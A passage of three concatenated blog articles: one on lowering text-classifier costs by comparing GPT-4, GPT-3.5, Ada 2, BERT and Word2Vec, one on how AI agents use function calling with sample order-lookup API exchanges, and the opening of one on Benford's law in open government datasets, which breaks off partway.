> 2024 won't just be about ever-smarter artificial intelligence. It will be about intelligently using artificial intelligence. Unless you're an AI researcher, your goal is to maximize profit. Not intelligence.

By [Ryan Porter](https://anth.us/ryan), [and the Anthus GPT](https://chat.openai.com/g/g-MA4ZbLQBi-assistant-alpha) · Published 2023-12-22

Canonical: https://anth.us/articles/maximize-profit-not-intelligence/

Picture this: you're at the helm of a startup, brimming with ideas, ready to build on the marvels of AI, particularly the genius of GPT 4.  You set out looking for opportunities in text classifiers:[@huggingface-2023-text-classification]  the kind of thing you might use to moderate posts on social media, route customers in a phone maze, direct customer emails to support agents, rate transcripts of call center recordings, etc.  Sounds straightforward, but it's tricky. Language is complex.

You went out and did your business development magic and worked out a deal!  You can make a profitable venture if you can make an automation that can classify sentences as being about Spanish immigration law or not about Spanish immigration law, with at least a 95% accuracy, at a price of less than $200 per million classifications.

No problem.  GPT 4's [function-calling](/blog/how-ai-agents-do-things/) feature can generate structured responses.  You jump into VS Code and use GPT 4 in GitHub Copilot to craft a text classifier based on GPT 4, and it's 97% accurate when you evaluate it.  It works!

But there's a problem: You check the costs on your evaluation run, and wow, ==GPT 4 tokens are expensive!==  It costs just over $0.40 to do 240 classifications, which means that it would cost... almost $1,700 per million classifications.  The venture would not be profitable.

This is the story of 2023: We have amazing new tools, but there's a difference between a cool proof-of-concept demo and a viable business venture.  Now, as 2024 unfolds, the narrative shifts from mere intelligence to profitability.  Once you find a use case with business value and prove the concept, you can maximize profit by reducing your costs, by finding the least-sophisticated model that will suit your task.

It's kind of like how you set the optimal price: It's the maximum price that the market will bear.  In AI applications, the path to profitability is to use the ==dumbest model that the problem will bear.==

## Make it cheaper

One easy way to make a GPT 4 solution cheaper is to use GPT 3.5 instead.  It's a really good model.  And it's a great value compared to GPT 4, which is amazing but expensive.

You make a simple tweak to your code to swap the models and you do your evaluation run again to check the cost.  It's much better!  GPT 3.5 is an order of magnitude cheaper:

::image{
  src="images/classifiers/cost_GPT-4_GPT-3.5.png"
  layout="centered"
  alt="Cost of GPT 4 vs GPT 3.5 classifiers."
}

The best part here is that the cost per million will be below your break-even point of $200 per million.  You're profitable! Yay!

::image{
  src="images/classifiers/profit_per_million_GPT-4_GPT-3.5.png"
  layout="centered"
  alt="Profit per million AI text classifications with GPT 4 versus GPT 3.5."
}

But is it as accurate?  Yes, it's about the same accuracy.  It's enough.  In the evaluation phase you're measuring things like precision and recall and accuracy, and you get about the same results.

::image{
  src="images/classifiers/precision_recall_GPT-4_GPT-3.5.png"
  layout="centered"
  alt="Precision and recall for GPT 4 versus GPT 3.5 LLM text classifiers."
}

The accuracy score is actually a little higher for GPT 3.5 but that might be related to the training data that was generated with GPT 3.5.

::image{
  src="images/classifiers/accuracy_GPT-4_GPT-3.5.png"
  layout="centered"
  alt="Accuracy for GPT 4 versus GPT 3.5 LLM text classifiers."
}

Now you have a profitable venture.  But your margins are razor thin:

::image{
  src="images/classifiers/profit_per_million_GPT-4_GPT-3.5.png"
  layout="centered"
  alt="An AI model learning"
}

You want to optimize for profit, right?  And in software we optimize through iteration.  Let's try to cut costs.

## Machine-learning text classifiers

This kind of algorithm that you're selling at a profit is called a "classifier", and there are a lot of ways to make them,[@orza-2022-text-classifiers-in-machine-learning] including ways that don't use large language models.  Let's look into making a classifier with machine learning.

One way to do it is to use a different model from OpenAI that isn't a generative text model.  It's an embeddings model, for turning text into strings of numbers.[@greene-2022-new-and-improved-embedding-model]  There are similar embeddings models from other companies, like AWS[@aws-2023-amazon-titan-embeddings-is-now-generally].

You can use those numbers to classify the text in any way that you want if you have a lot of examples that you can use for finding patterns in the data.  Here's how:

### Step One: Crafting Numerical Fingerprints

Computers don't understand words, only numbers.  To process words with computers we have to convert them to numbers.  You could just assign every word a number, "cat" is 1, "dog" is 2, etc.  But there are more useful ways.

You can take a sentence and transform it into a numerical pattern, an 'embedding'. Imagine these embeddings as secret codes that capture the essence of each sentence numerically.[@tripathi-2023-what-are-vector-embeddings]  We have tools that measure how 'similar' these embeddings are, assigning a number to represent the degree of resemblance between any two sentences.[@alake-2023-understanding-cosine-similarity-and-its-applications]  So, the difference between "cat" and "dog" might be less than the distance between "cat" and "suspension bridge".

While embeddings offer rich, condensed representations of text, they don't inherently categorize sentences. How can we build a classifier out of this?

### Step Two: The Learning Machine

Enter the machine-learning model. Its job is to learn from examples - to recognize which numerical patterns correspond to our topic of interest. By examining known questions about immigration law and comparing them to unrelated sentences, the model learns to identify a benchmark for similarity. It's akin to teaching someone to recognize a specific tune among various songs.

For that, we used logistic regression, a statistical method that's like a skilled goldsmith, discerning which nuggets of text match our sought-after criteria. It operates on a simple yet powerful principle: calculating the likelihood that a new sentence belongs to one of two categories – a binary decision of 'yes' or 'no'.[@zach-2020-introduction-to-logistic-regression]

Picture logistic regression as a finely-tuned scale. It weighs the unique numerical fingerprints of words – our carefully crafted vector embeddings – and decides how 'heavy' they are in terms of relevance to our categories. By adjusting this scale, logistic regression finds the precise balance point, the exact threshold of similarity, that tips the scale towards a 'yes' or a 'no'. This isn't just a guessing game; it's a calculated decision based on the distinct patterns and relationships our embeddings reveal.

It's a simple[@otten-2023-how-to-implement-logistic-regression-text] yet effective tool in our arsenal, designed to take an array of "features" as inputs and produce a binary yes/no classification.  That's exactly what we need: We need a model that takes a string of numbers from the vector embeddings and produces a prediction about whether a given embedding represents a sentence about Spanish immigration law.

## Method

We ==generated a list of about 1,200 fake sentences using GPT 3.5==, where each is labeled yes or no: Does the sentence represent a question about Spanish immigration law?  We asked for sentences in English, Spanish and Spanglish.  You can see those in the [`data/labeled.csv`](https://github.com/Anth-us/semantic-text-classification/blob/main/data/labeled.csv) file in the GitHub repository for the experiment.

We used the [Python notebook](https://github.com/Anth-us/semantic-text-classification/blob/main/Custom_Classifier.ipynb) in the repository to load that data and generate an embedding for each sentence in the file using the OpenAI Ada 2 embeddings model.  How did it perform?

::image{
  src="images/classifiers/accuracy_GPT-4_GPT-3.5_Ada_2.png"
  layout="centered"
  alt="Accuracy across GPT 4, GPT 3.5 and Ada 2 text classifiers."
}

The accuracy improved!  Amazing!

### Cost reduction

Even more amazing is the order-of-magnitude cost reduction.  The Ada 2 model only costs $0.0001 / 1K tokens for input and none for output, compared with GPT 3.5 which costs $0.0010 / 1K tokens for input and	$0.0020 / 1K tokens for output.  The cost has dropped so low that you can't even see it on the visualization next to the cost of GPT 4.

::image{
  src="images/classifiers/cost_GPT-4_GPT-3.5_Ada_2.png"
  layout="centered"
  alt="Cost across GPT 4, GPT 3.5 and Ada 2 text classifiers."
}

Wow!  Let's scale that to a million classifications:

::image{
  src="images/classifiers/cost_per_million_GPT-4_GPT-3.5_Ada_2.png"
  layout="centered"
  alt="Cost per million across GPT 4, GPT 3.5 and Ada 2 text classifiers."
}

And we know why that's important.  An ==order-of-magnitude increase in profit==:

::image{
  src="images/classifiers/profit_per_million_GPT-4_GPT-3.5_Ada_2.png"
  layout="centered"
  alt="Profit across GPT 4, GPT 3.5 and Ada 2 text classifiers."
}

### Speed improvement

Another incredible thing is how fast machine-learning classifiers are, compared with LLMs that generate responses one token at a time.  A machine-learning classifier shifts the time required to a one-time training step, and they're virtually instant at inference time.  GPT 3.5 and GPT 4 don't require any training since they're "pre-trained", but they're ==super slow== when they generate text compared to a machine-learning classifier when the job at hand is text classification.

::image{
  src="images/classifiers/time_training_GPT-4_GPT-3.5_Ada_2.png"
  layout="centered"
  alt="Time breakdown for training and inference across GPT 4, GPT 3.5 and Ada 2 text classifiers."
}

## More!

Can we make it even cheaper?  Can we ==eliminate the OpenAI bill entirely==?

Yes, we can.  OpenAI doesn't have a monopoly on vector embeddings.  There are lots of ways to do it.  We could use AWS, but currently the pricing of the Titan Embeddings model is the same as the price of the OpenAI Ada 2 model, so that won't help us with costs.

But there are algorithms we can run ourselves.  One of them is BERT.

BERT stands for Bidirectional Encoder Representations from Transformers. It revolutionized the understanding of context in language models by reading the text in both directions and building a deep context understanding.[@horev-2018-bert-explained-state-of-the-art] BERT processes words in relation to all the other words in a sentence, rather than one-by-one in order.  It's a common embeddings model, so let's try it.

### Accuracy

BERT does just as well as Ada 2 at this task, despite being free.  ==Good to know!==

::image{
  src="images/classifiers/accuracy_GPT-4_GPT-3.5_Ada_2_BERT.png"
  layout="centered"
  alt="Accuracy across GPT 4, GPT 3.5, Ada 2 and BERT text classifiers."
}

### Speed

Computing the embeddings using BERT took about the same amount of time as it took to outsource the job to OpenAI.  It took a little less time.

And, like the model based on OpenAI embeddings, it's virtually instant to compute classifications with it.  All the time is in a one-time training step.

::image{
  src="images/classifiers/time_training_GPT-4_GPT-3.5_Ada_2_BERT.png"
  layout="centered"
  alt="Time for training and inference across GPT 4, GPT 3.5, Ada 2 and BERT text classifiers."
}

### Cost

This classifier completely eliminates the OpenAI bill.  Which was already so small with Ada 2 that you can't even see it on this visualization compared with the cost of GPT 4 and GPT 3.5.  But ==now the cost is **zero**==.

::image{
  src="images/classifiers/cost_per_million_GPT-4_GPT-3.5_Ada_2_BERT.png"
  layout="centered"
  alt="Cost per million classifications across GPT 4, GPT 3.5, Ada 2 and BERT text classifiers."
}

### Profit

And that increases our profit!  Our ==key performance indicator==!

::image{
  src="images/classifiers/profit_per_million_GPT-4_GPT-3.5_Ada_2_BERT.png"
  layout="centered"
  alt="Profit across GPT 4, GPT 3.5, Ada 2 and BERT text classifiers."
}

## More!

We can't really improve the price of "free".

And we can't improve on a perfect accuracy score.

What can we improve, training time?  Sure, okay, let's try Word2Vec since it's simpler than BERT.  Maybe it will be faster.

Word2Vec is a group of models that produce word embeddings by capturing the context of a word in a document.[@vatsal-2021-word2vec-explained] It uses neural networks and operates on the principle that words appearing in similar contexts have similar meanings.

Is it faster?  Yes!  It's so much faster at computing embeddings that you ==can't even see the blip== on this visualization, next to the times that the other models require.  There's a tiny bar there on the bottom right if you squint.

::image{
  src="images/classifiers/time_training_GPT-4_GPT-3.5_Ada_2_BERT_Word2Vec.png"
  layout="centered"
  alt="Time for training and inference across GPT 4, GPT 3.5, Ada 2, BERT and Word2Vec text classifiers."
}

Does it work, though?

::image{
  src="images/classifiers/accuracy_GPT-4_GPT-3.5_Ada_2_BERT_Word2Vec.png"
  layout="centered"
  alt="Accuracy across GPT 4, GPT 3.5, Ada 2, BERT and Word2Vec text classifiers."
}

Oops.  No, it's significantly less accurate, at 97%.  That's accurate enough for our requirements, but it doesn't seem worth the drop in accuracy to save a few seconds in a one-time pre-training step.  It won't significantly boost our profit, and ==that's what matters==.

Okay, let's stop while we're ahead and go with BERT.  You can't know until you try it.  Now we know.

Our goal is to use the ==dumbest model that the problem will bear.==  To find that point, we have to go all the way to the point where we find a model that's just not good enough.  We have found that point.  It's just like finding the market price for something: You increase the price until the market shows you that the price is too high, and then you lower it to the point where you get sales.  We can do the same thing with AI solutions to find the best value.

## Try it yourself

Don't take our word for it: you can try it for yourself for free.  It's amazing that you can train and run the classifiers from a [free Google Colab notebook](https://colab.research.google.com/drive/1THEqXHIvy1IEAzVLvB0rVwwSW30jZ5Ku?usp=sharing).  To use it, just go there and set up two things:

1. Use the "Download raw file" feature in GitHub to get the [data file](https://github.com/Anth-us/semantic-text-classification/blob/main/data/labeled.csv) and then upload that as `labeled.csv` to the Colab environment.
2. Set a secret[@dasawant-2023-how-to-use-secrets-in-google] called `openai` and set the value to your OpenAI API token.  For calling the Ada 2 API.

You can also clone the [GitHub repository](https://github.com/Anth-us/semantic-text-classification) if you want to run it in Sagemaker or on your own machine or whatever.  It should run just about anywhere, with no special GPU power or anything.

You can also see an example of a text classifier built using function calling here in this [Colab notebook](https://colab.research.google.com/drive/1SVaxc3-d6n6JK2pcVlCRcuojNUhMd1cA?usp=sharing) or [on GitHub](https://github.com/Anth-us/LLM-classifier-example/blob/main/LLM_Classifier.ipynb).

## Evaluation metrics

We want to see how well the three different embeddings techniques work for our classifier.  We used these metrics:

**Accuracy**: This is the simplest measure, telling us the proportion of total predictions our model got right.[@mishra-2018-metrics-to-evaluate-your-machine-learning] It's a quick way to gauge overall effectiveness.

**Precision and Recall**: These metrics offer a more nuanced view. Precision shows us how many of the sentences identified as questions about Spanish immigration law were actually so. Recall, on the other hand, tells us how many of the actual legal questions our model successfully identified.[@iguazio-2018-what-is-recall-in-machine-learning]

**ROC-AUC Score**: This metric helps us understand the trade-offs between true positive rate and false positive rate.[@kawwa-2020-how-to-calculate-use-the-auc] The AUC (Area Under the Curve) quantifies the model's ability to distinguish between classes - a higher AUC means better discrimination.

::image{src="images/classifiers/ROC-curve.png" layout="centered" alt="ROC-AUC curve analysis."}

**Confusion Matrices**: These are tables that lay out the successes and failures of our predictions in detail. They show four types of outcomes - true positives (correctly identified legal questions), false positives (non-legal questions wrongly identified as legal), true negatives (correctly identified non-legal questions), and false negatives (legal questions missed by the model).[@ragan-2018-taking-the-confusion-out-of-confusion] This matrix helps us pinpoint areas where our model might be overconfident or too cautious, guiding us in fine-tuning its performance.

::image{src="images/classifiers/confusion-BERT.png" layout="centered" alt="Confusion matrix for BERT."}

## Maximize profit, not intelligence

You can do amazing things with OpenAI models but you don't always need them.
BERT is a widely-available, open algorithm that's so cheap and easy to run that you can compute 1,500 sentence embeddings from a free Google Colab notebook in a minute or two.  And it performs just as well as the OpenAI embeddings that you have to pay for.  Word2Vec embeddings, even cheaper to compute since the process is less computationally intense, also perform really well.  Not good enough for this example, but good enough for lots of things.

As we analyze these results, a broader business lesson emerges. In the AI arena, ==more powerful doesn't always mean more valuable.== Just like our experiment, where BERT held its ground against mightier models, businesses need to gauge the cost-effectiveness of AI solutions.  With just a couple of iterations we turned a non-viable proof-of-concept into a viable business and then improved the profit by orders of magnitude.  ==The profit is the thing that matters==, and that's what our iterations need to focus on.

## References

::citations{format="apa"}

---

# How AI Agents Do Things

> How does it work when you ask an AI agent to draw a cute kitten and it draws a cute kitten? How did it learn to draw? Do AI researchers somehow upload new skills into the model like Neo in The Matrix?

By [Ryan Porter](https://anth.us/ryan), [and the Anthus GPT](https://chat.openai.com/g/g-MA4ZbLQBi-assistant-alpha) · Published 2023-12-12

Canonical: https://anth.us/articles/how-ai-agents-do-things/

I needed a picture of a cute kitten to post on the Internet. I asked ChatGPT to make one. And it made one.

::image{src="images/a-cute-kitten.png" layout="centered" alt="A cute kitten."}

How did this AI model learn to make a picture of a cute kitten?  Did the researchers at OpenAI 'upload' the kitten-drawing skill set into GPT-4, like Neo learning Kung Fu in *The Matrix* by plugging a cable into the back of his head?

Not really.  The answer is simpler, and it's a preview of ==a new type of software solution.==

## Give tools to the AI model

::image{src="images/ai-agent-uses-tools.png" layout="right" alt="An AI agent with a collection of tools."}

Imagine you’re conversing with an airline assistant who can type on their terminal at superhuman speeds to fetch the latest information to answer your questions.

This scenario is akin to how it works when we speak with an AI agent that can look up facts or draw pictures.  Imagine the agent pausing the conversation to use a tool to look up the latest data or perform a quick calculation.  Or maybe it uses a different tool to draw something, or send a message, or create an order. Perhaps it sets some long-running process in motion.

These tools that the model can use are called "actions" in general for AI agents.  ==Actions are computer programs that you give to the agent== that it can use when necessary.  In the OpenAI API, "functions" are the basic building block for actions.  In other systems like AWS Lex, you implement actions as Lambda functions.  But it always follows the same basic model of the agent application giving tools to the AI model.

## How does the AI model use the tools?

But how does that work?  How does the AI model execute the action for you?  It sounds like it would be complicated to teach an AI model how to draw a picture or look up an order in a database. Do you have to re-train the entire AI model every time you plug in some new action?

The answer to all these questions is simple and elegant: ==You perform the actions yourself.==  The AI model doesn't directly run any computer program, it asks you to do it and report back.  That means that your action can access anything you can, using whatever programming language you want, and you can give it whatever resources it needs.

The key concept is that you tell the AI model that the tools are available and how to use them, and it makes decisions about what tools to use and when and how.  But the AI model doesn't do things directly.  If the user asks the AI agent to make a picture of the kitten, then the AI model is responsible for deciding that this would be a good time to draw a kitten.  It will respond to the AI agent application: It's time to draw a kitten, so pull out that "make  image" tool that you told me about and use it to make a picture with the prompt, "A kitten."  The AI agent application is then responsible for using some tool to draw a kitten.  That tool happens to be an AI model also, but the point here is that the large language model that you're conversing with through the AI agent application does not directly make the image itself.  ==It orchestrates.==

## The sequence

Here's what the process looks like.  Normally, a question and answer would look like this:

::image{
  src="diagrams/ai-agent-function-calling-with-no-function.png"
  layout="full"
  alt="The sequence for request processing for AI agents when there is no function call."
}

The agent relays the user's "Hello" message to the model, the model responds, and the agent displays the message for the user in whatever chat UI they're using.  The business system is not involved.

If the user asks a question and the model decides to call a function, the sequence looks a little different.  Here's an example of the user asking for the status of an order, which will require a lookup:

::image{
  src="diagrams/ai-agent-function-calling-sequence-diagram.png"
  layout="full"
  alt="The sequence for function-calling for AI agents."
}

The AI model tells you the name of the function to run and the parameters to use.  The agent must execute that function, then report back to the agent API with results.

You end up calling the API two times instead of once.  You “augment” the second API request with the results of the function call that you perform yourself.

## A basic request and response

Let's see what the API requests and responses look like, without any code.  We'll assume that we're working with an OpenAI-style API where the actions are handled through "function-calling".

Here's what the simple request from the agent application to the OpenAI API looks like in the first sequence above:

:::conversation{title="request from application to OpenAI" kind="request"}
:::message-group{label="conversation history"}
:::message{role="system"}
You are a helpful agent for an online store.
:::
:::message{role="user"}
Hello.
:::
:::
:::

The OpenAI API sends a response that includes the next message in the conversation history, from the AI agent.  Those are labeled with the role "agent".

:::conversation{title="response from OpenAI to the application" kind="response"}
:::message{role="assistant"}
Hello, how can I help you?
:::
:::

## Now let's give it tools

As the application, we're responsible for managing the conversation history.  OpenAI doesn't maintain any sort of session state on their side.  Every time we send the next request in a conversation to the OpenAI API, we must provide the conversation history.  We do that by taking the previous conversation history and adding the latest response from the AI, and the latest message from the user.

This time, we'll also give it a couple of functions that it could call if it decides that it should.  We add a list of those functions to the request along with the conversation history.  Each function is ==a description to the AI model that tells it the name of the function, what it's for, and how to call it.==  Different functions require different parameters, and you use this description to tell it that when it wants to look up an order ID, it needs to provide an order ID.  Or that when it wants to create a new order, it needs to provide the customer information and the order items.

There's a structured format (JSON) for describing the functions, but let's skip the code in this simplified diagram for the second sequence above:

:::conversation{title="request from application to OpenAI" kind="request"}
:::message-group{label="conversation history"}
:::message{role="system"}
You are a helpful agent for an online store.
:::
:::message{role="user"}
Hello.
:::
:::message{role="assistant"}
Hello, how can I help you?
:::
:::message{role="user"}
What's the status of order 123456789?
:::
:::
:::message-group{label="functions"}
:::message{role="check order status"}
Call this function with the order ID and it will give you the status of that order.  Required: Order ID.
:::
:::message{role="create order"}
Call this function with the items that the customer wants to order and the customer's information, and it will create a new order. Required: List of items, customer's information.
:::
:::
:::

When the AI API gets that request, what's in the request is the ==only thing it knows about the conversation history==.

The AI model can see that it has some tools.  Should it use one?  Remember that the model's job is to make decisions about when to use the tools but not to use them directly.  In this case, the user is asking a question about looking up an order.  The model can see that it has a tool for doing that.  Should it do that now?

It can also see that the "check order status" tool says that it requires an order ID.  But, the conversation doesn't include any order ID.

So, instead of using the "check order status" tool, the model asks for the information that it would need to use that tool:

:::conversation{title="response from OpenAI to the application" kind="response"}
:::message{role="assistant"}
Yes, I can look up an order for you.  What's the order ID?
:::
:::

The user then responds with the order ID:

:::conversation{title="request from application to OpenAI" kind="request"}
:::message-group{label="conversation history"}
:::message{role="system"}
You are a helpful agent for an online store.
:::
:::message{role="user"}
Hello.
:::
:::message{role="assistant"}
Hello, how can I help you?
:::
:::message{role="user"}
Can you look up an order for me?
:::
:::message{role="assistant"}
Yes, I can look up an order for you.  What's the order ID?
:::
:::message{role="user"}
The order ID is 123456789.
:::
:::
:::message-group{label="functions"}
:::message{role="check order status"}
Call this function with the order ID and it will give you the status of that order.  Required: Order ID.
:::
:::message{role="create order"}
Call this function with the items that the customer wants to order and the customer's information, and it will create a new order. Required: List of items, customer's information.
:::
:::
:::

Now the model looks at the situation and concludes that the user is asking for the status of order ID `123456789`.  It looks at its list of available functions and sees a function called "check order status" that requires an order ID.  Hey, look!  We have an order ID!  **The planets are aligning!**

This is the critical part that the AI model plays in taking action on behalf of the user: ==It reasons about what actions to take, when to take action, and how to take action.==

In this case, it can see that the user made a request that an available function can satisfy, and it sees that it has the required parameters.  And so, it ==makes the decision to take action.==

## The agent asks you to take an action

The AI model will check on that order ID by responding like this:

:::conversation{title="response from OpenAI to the application" kind="response"}
:::message{role="function"}
Call the "check order status" function for order ID 123456789.
:::
:::

As the agent application, performing the task is now your job.  You must execute that function.  Your code then queries your business system to get raw order details:

```
orderId: 123456789
status: 046-IN-TRANSIT
lastUpdate: 1648762800000
location: OAKLAND, CA
```

Great, you have some raw data.  But you can't show that ugly stuff to the user.

## Use the AI to describe the results

To generate an AI response to the user, you send a second API request to the OpenAI API.  Like before, you're sending a conversation history with the request, and that's the only way the AI model knows anything about what's happening.  In that history, there's a message from when the user asked a question, a note that the model decided to call a function, followed by the function call results.

:::conversation{title="request from application to OpenAI" kind="request"}
:::message-group{label="conversation history"}
:::message{role="system"}
You are a helpful agent for an online store.
:::
:::message{role="user"}
Hello.
:::
:::message{role="assistant"}
Hello, how can I help you?
:::
:::message{role="user"}
Can you look up an order for me?
:::
:::message{role="assistant"}
Yes, I can look up an order for you.  What's the order ID?
:::
:::message{role="user"}
The order ID is 123456789.
:::
:::message{role="assistant"}
Call the "check order status" function for order ID 123456789.
:::
:::message{role="function"}
Name: "check order status"  Results: orderId: 123456789, status: 046-IN-TRANSIT, lastUpdate: 1648762800000, location: OAKLAND, CA
:::
:::
:::message-group{label="functions"}
:::message{role="check order status"}
Call this function with the order ID and it will give you the status of that order.
:::
:::message{role="create order"}
Call this function with the items that the customer wants to order and the customer's information, and it will create a new order.
:::
:::
:::

The AI model will take the value that you gave it and use that to generate the next message in the conversation:

:::conversation{title="response from OpenAI to the application" kind="response"}
:::message{role="assistant"}
Order ID 123456789 is in transit in Oakland, California.
:::
:::

## Division of responsibilities

Managing the conversation history is our prerogative as the application, which gives us Orwellian control over the past and the present.  We can use that to insert things like the status information for an order, proprietary facts, or anything potentially useful for the model as it generates responses.

We're also executing the functions, eliminating concerns about the complexities of deploying code into the AI API to run it.

We're doing all the real work ourselves when we use function calling, but we're using the reasoning ability of the AI model to decide what tools to use, when to use them, and how to use them.

:::two-up
:::column
#### Application

- Manage conversation history
- Execute functions
:::

:::column
#### AI Model

- Generate text
- Decide what tools to use, when and how
:::
:::

The full application stack for an AI agent looks like this:

:::diagram{title="AI Agent Application Stack"}
:::node{title="AI agent application"}
:::
:::row
:::node{title="existing business system"}
:::
:::node{title="AI model"}
:::
:::
:::

In this diagram, an existing business system (bottom left) now supports a new AI agent user interface, managed by the AI agent application.  The AI agent code runs separately from the business system and integrates with it through API calls, database queries, or whatever makes sense.  The agent uses the large language model (LLM) to generate text for the conversation, using function calling to access the existing software system.

## See it for yourself

Go and create an OpenAI secret key and open [this Colab notebook](https://colab.research.google.com/drive/1Ma-5_0ukTVsz4iUlfCgtJHZtFqIDz3PQ#scrollTo=ob5V5iIN2V6v), where you can see it in action.

### Cost

The only costs will be for the OpenAI API, and we're going to use GPT 3.5 Turbo, so it's cheap.[@openai-2023-openai-pricing]  You would have to work hard at it to spend more than a few pennies on this demo.

### Requirements

* OpenAI API key: Visit your [API keys](https://platform.openai.com/account/api-keys) page to configure an API key that you'll use for the requests.
* Google Colab account [FREE]: Create a free [Colab](https://colab.research.google.com) account if you don't already have one.  This notebook is so simple that you can run it for free.

### Setup

First, open the (new) ["secrets" panel](https://twitter.com/GoogleColab/status/1719798406195867814) in Colab and create a new secret called `openai`, with your secret OpenAI API access token as the value.

Then, run the first cell of the notebook to use `pip` to install the OpenAI SDK for Python.

Now you're ready to run the code.

### Run it

Run the second cell in the notebook and it will use the secret that you set up to send a request to the OpenAI API for GPT 3.5 Turbo.  Note that the code provides a function list with a `check_order_status` function.

As we discussed above, you don't send an actual function to OpenAI.  You don't send them any code.  You *describe* the functions that exist:

```
    function_list = [
      {
        "name": "check_order_status",
        "description": "Check the status of an order using its ID",
        "parameters": {
          "type": "object",
          "properties": {
            "order_id": {
              "type": "string",
              "description": "The order ID."
            }
          }
        }
      }
    ]
```

The AI model will see that, and it will keep in mind that it has a function that takes an order ID for checking the order status.  If anyone asks for something like that, then it knows how.  It's like a contract you've made with the AI about how to handle user requests: ==a standing promise that the tool will be there when it's needed.==

You'll see from the output in the notebook that the first response from the AI will tell your code to run a function.  Your code runs a (dummy) function and then sends the second request to the AI model.  And then, the model responds by generating text you can relay to the user.

### More information

You can find more examples of function-calling with the OpenAI API in the OpenAI Cookbook.[@jarvis-2023-openai-cookbook]

You can also see an example of a text classifier built using function calling for the article about maximizing profit, not intelligence, here in this [Colab notebook](https://colab.research.google.com/drive/1SVaxc3-d6n6JK2pcVlCRcuojNUhMd1cA?usp=sharing) or [on GitHub](https://github.com/Anth-us/LLM-classifier-example/blob/main/LLM_Classifier.ipynb).

## Not just a friendly voice

To wrap it up, think of the AI agent as a super-helpful airline desk assistant, but with some extra tricks up its sleeve. It's not just there for a chat – it can quickly handle tasks like booking travel or finding flight details, faster than even the fastest-typing airline staff. This method requires an additional step, but the payoff is substantial: a live connection to the real world. That's the definition of an AI agent: an AI model that can do things for you, not just talk about them.

The artificial intelligence industry is increasingly focused on integration since ==an AI agent is much more valuable if it can do things you care about== in the systems you already use.  One of the key ways to integrate your existing systems with the latest and greatest AI models is to give them a toolbox for accessing your system.

## We can help

We have experience integrating enterprise business systems with AI models to create AI agents that can report to you about metrics, notify you about alarms, or trigger actions in your system like creating orders or other business use cases.  We also have experience reliably operating mission-critical software features over the long term.  If you're looking for help with something like that, ==please get in touch==.

## References

::citations{format="apa"}

---

# The Dominance of Ones: A Handy Quirk of Numbers

> From money launderers to breeding rabbits, this fascinating quirk of numbers is lurking on the sidelines, ready to surprise us.

By [Ryan Porter](https://anth.us/ryan), [and the Anthus GPT](https://chat.openai.com/g/g-MA4ZbLQBi-assistant-alpha) · Published 2023-11-26

Canonical: https://anth.us/articles/the-dominance-of-ones/

::image{
  src="images/benfords-law/benford-distribution.png"
  layout="right"
  alt="The distribution of lead digits in natural numbers according to Benford's Law."
}

Want to see something weird about numbers?  There's a helpful quirk about how numbers from natural datasets look that's easy to see.  Hold onto your calculators!  This is going to get a little strange.

## Lead digit analysis

There are a lot of open datasets out there.  I surfed around on the government's open data site[@data-2023-data-gov-home] and picked one mostly randomly.  It's a count of the number of border crossings there were for different periods, broken down by port of entry and by category, like "trains", "trucks", "bus passengers", and "pedestrians."[@data-gov-2023-border-crossing-entry-data]  Here's what the raw data looks like:

| Port                   | Date     | Measure          | Value |
| ---------------------- | -------- | ---------------- | ----: |
| Roma, Texas            | May 2017 | Trucks           |   760 |
| Roma, Texas            | May 2012 | Trains           |     0 |
| Piegan, Montana        | Mar 2020 | Trucks           |   168 |
| Roma, Texas            | Dec 2021 | Bus Passengers   |   128 |
| Roma, Texas            | Mar 2021 | Trucks           |  2661 |
| Roma, Texas            | Aug 2021 | Buses            |    14 |
| Westhope, North Dakota | Jul 2023 | Trucks           |   105 |
| Warroad, Minnesota     | Jun 2022 | Trucks           |   401 |
| Richford, Vermont      | May 2021 | Train Passengers |    24 |
| Sasabe, Arizona        | Mar 2023 | Pedestrians      |    45 |
| ...                    |          |                  |       |

Let's look at ==the first digit of each of those counts.==  See that "760" for the first count?  The lead digit is "7".  Here's the lead digit for each of the above counts:

| Border Crossings Count | Lead Digit |
| ---------------------: | ---------: |
|                    760 |          7 |
|                      0 |          0 |
|                    168 |          1 |
|                    128 |          1 |
|                   2661 |          2 |
|                     14 |          1 |
|                    105 |          1 |
|                    401 |          4 |
|                     24 |          2 |
|                     45 |          4 |
|                    ... |            |

Now, think about the whole dataset.  This one has 38,549 entries.  Each of those entries has a lead digit.  Let's filter out the "0" counts and ignore those.  What percentage of those entries would you expect to have "1" for a lead digit?

There are nine possible digits if we exclude "0" as an option.  So, would you think "1" would occur as the lead digit about one-ninth of the time?

==I would imagine== that if we were to count all the measurements where the first digit was "1" and then count all the measurements where the first digit is "2" and so on, we would find about the same number of "1"s and "5"s.  After all, this data is as random as it gets.  So, shouldn't the lead digit be essentially random?  Let's confirm that assumption.

I made a Python notebook that you can run yourself that counts the number of measurements in the border-crossing dataset that start with "1" and with "2" and so on.  Here's the distribution:

::image{
  src="images/benfords-law/border-crossing-counts.png"
  layout="full"
  alt="The distribution of lead digits from federal border crossing counts."
}

Well...  ==Okay, that's weird.==

There are a lot more "1"s.  Shouldn't they all be even?  Shouldn't there be as many counts starting with a "5" as a "1"?  What's going on?

## Benford's Law: Expect a lot of ones as leading digits in some data

This phenomenon is known as Benford's Law and is more common than you might think. Benford's Law states that the first digit is more likely to be lower than higher in many naturally occurring datasets. Specifically, "1" appears as the first digit about 30% of the time, while "9" appears as the first digit only about 5%.

It's a pattern that emerges naturally in a wide range of data. From financial records to geographical data, Benford's Law often holds.  Here are some other datasets that I found on Data.gov where you can easily see it:

Here's the lead-digit breakdown from about a million real estate sale prices:[@data-gov-2023-real-estate-sales-2001-2020-gl]

::image{
  src="images/benfords-law/connecticut-real-estate-sales.png"
  layout="full"
  alt="The distribution of lead digits from real estate sale prices."
}

The dots superimposed over the bars show the proportions predicted by Benford's Law.  They don't match exactly, but ==they do fit the overall pattern==.

Here's a list of baby names, ranked by popularity, based on civil birth registrations.[@data-gov-2023-popular-baby-names]  Each name has a count: How many registrations were there for each name?

::image{
  src="images/benfords-law/new-york-baby-names.png"
  layout="full"
  alt="The popularity of different baby names."
}

We all remember the daily counts of COVID-19 cases.  Here's the lead-digit breakdown on the daily New York City case counts:[@data-gov-2023-covid-19-daily-counts-of-cases]

::image{
  src="images/benfords-law/nyc_covid19_cases.png"
  layout="full"
  alt="The distribution of lead digits from NYC daily COVID-19 case counts."
}

And here's the lead-digit breakdown from a bunch of different school attendance counts:[@data-gov-2023-school-attendance-by-student-group]

::image{
